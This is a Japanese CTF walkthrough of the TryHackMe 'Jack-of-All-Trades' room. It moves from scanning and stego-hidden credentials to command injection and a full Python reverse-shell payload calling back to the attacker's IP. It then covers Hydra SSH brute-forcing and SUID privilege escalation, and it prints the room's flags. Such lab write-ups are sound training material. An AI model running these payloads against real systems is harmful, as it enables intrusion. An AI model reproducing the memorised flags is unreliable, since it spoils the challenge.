【TryHackMe】Jack-of-All-Trades：Walkthrough

# 概要

TryHackMe「Jack-of-All-Trades」のWalkthroughです。

https://tryhackme.com/r/room/jackofalltrades

# Task1

## **Q1**.*User Flag*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.212.81 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Jack-of-all-trades!
80/tcp    open     ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
|   2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
|   256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_  256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|http|Apache httpd 2.4.10|
|80|ssh|OpenSSH 6.7p1|

ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.212.81:22/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
                        [Status: 200, Size: 1605, Words: 196, Lines: 25, Duration: 237ms]
assets                  [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 236ms]
[INFO] Adding a new job to the queue: http://10.10.212.81:22/assets/FUZZ

[INFO] Starting queued job on target: http://10.10.212.81:22/assets/FUZZ

                        [Status: 200, Size: 1547, Words: 92, Lines: 20, Duration: 246ms]
```

`22`番ポートでWebサイトにアクセスできました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2ab97d23-4aff-14ff-ef94-de0e99027f45.png)

ページの文から`Jack`というユーザー名を発見しました。

ソースコードを見るとコメントアウトで`/recovery.php`パスと`base64`でエンコードされた文字列を発見しました。

![home page source.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/06c46cbd-5574-a530-825b-3f786756cc7d.png)

文字列をデコードすると`Johny Graves`というユーザー名と`u?WtKSraq`というパスワードを発見しました。

```
$ echo -n "UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==" | base64 -d
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq
```

`/recovery.php`へアクセスします。

![recov.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bc12eacf-de0d-19d5-444e-b1d58171a532.png)

ソースコードを見るとまた別のエンコードされた文字列を発見しました。

![recov source code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a8a1a914-2e71-ac33-aadf-cc5b088a1493.png)

`From Base32`->`From Hex`->`ROT13`の手順でデコードすると`Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S.`という文言とヒントに短縮URLを発見しました。

![decode recov string.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/15da12cb-0e50-996b-98ee-647933024317.png)

ヒントの短縮URLはステゴサウルスのWikipediaページでした。

https://en.wikipedia.org/wiki/Stegosauria

クレデンシャル情報はホームページにあると言われているのでホームページの画像ファイルに注目しました。
まず、`stego.jpg`から`u?WtKSraq`のパスワードを使用して隠された`creds.txt`を発見しました。

```
$ steghide extract -sf stego.jpg                        
Enter passphrase: 
wrote extracted data to "creds.txt".
```

ファイルの中に認証情報はありませんでしたが、方向性は合っていると言われました。

```creds.txt    
Hehe. Gotcha!

You're on the right path, but wrong image!
```

`jackinthebox.jpg`からは何も見つかりませんでした。

```
$ steghide extract -sf jackinthebox.jpg 
Enter passphrase: 
steghide: could not extract any data with that passphrase!
```

`header.jpg`から`cms.creds`を発見しました。

```
$ steghide extract -sf header.jpg      
Enter passphrase: 
wrote extracted data to "cms.creds".
```

`cms.creds`の中に認証情報を発見しました。

```cms.creds
Here you go Jack. Good thing you thought ahead!

Username: jackinthebox
Password: TplFxiSHjY
```

この情報を使ってログインに成功しました。

![after login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c57a7959-6168-1dc9-c5f2-cff5b6dbc682.png)

本文から`cmd`パラメータでコマンドを実行できそうなので試すとコマンドの実行に成功しました。

![success rce.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fef10e13-8c5d-b984-b4c9-5b04bf47f001.png)

リバースシェルの待ち受けをします。

```
$ nc -lvnp 1234
```

リバースシェルのパラメータを付与してリクエストを送信します。

```
?cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn("sh")'
```

シェルの獲得に成功しました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.97.18] 50840
$ whoami
whoami
www-data
```

`/home/jacks_password_list`からJackのパスワードリストを発見しました。

```
$ cat /home/jacks_password_list
cat /home/jacks_password_list
*hclqAzj+2GC+=0K
eN<A@n^zI?FE$I5,
X<(@zo2XrEN)#MGC
,,aE1K,nW3Os,afb
ITMJpGGIqg1jn?>@
0HguX{,fgXPE;8yF
sjRUb4*@pz<*ZITu
[8V7o^gl(Gjt5[WB
yTq0jI$d}Ka<T}PD
Sc.[[2pL<>e)vC4}
9;}#q*,A4wd{<X.T
M41nrFt#PcV=(3%p
GZx.t)H$&awU;SO<
.MVettz]a;&Z;cAC
2fh%i9Pr5YiYIf51
TDF@mdEd3ZQ(]hBO
v]XBmwAk8vk5t3EF
9iYZeZGQGG9&W4d1
8TIFce;KjrBWTAY^
SeUAwt7EB#fY&+yt
n.FZvJ.x9sYe5s5d
8lN{)g32PG,1?[pM
z@e1PmlmQ%k5sDz@
ow5APF>6r,y4krSo
```

これをローカルに保存し、Hydraで総当たりします。

```
$ hydra -f -l jack -P ./jack_pass_list 10.10.97.18 -s 80 ssh
```

パスワードが判明しました。

```
[80][ssh] host: 10.10.97.18   login: jack   password: ITMJpGGIqg1jn?>@
```

そしてSSH接続に成功しました。

```
$ ssh -p 80 jack@10.10.97.18  
jack@10.10.97.18's password: 
jack@jack-of-all-trades:~$
```

`/home/jack/user.jpg`を発見したので`scp`コマンドなどでローカルに保存します。

```
$ scp -P 80 jack@10.10.97.18:/home/jack/user.jpg ./
jack@10.10.97.18's password: 
user.jpg                                                                           100%  286KB 171.0KB/s   00:01  
```

画像からユーザーフラグを入手できます。

![user flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f4d17b89-cce5-52dd-0d32-28197a53ba5d.png)

**A**.**securi_tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}**

## **Q2**.*Root Flag*

**Hint**.*/root/root.txt*

`SUID`の検索をすると`/usr/bin/strings`にSUIDが設定されていると分かりました。

```
$ find / -user root -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su
```

`strings`コマンドで`/root/root.txt`を読み込んでルートフラグを入手できます。

```
$ /usr/bin/strings /root/root.txt
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}
```

**A**.**securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}**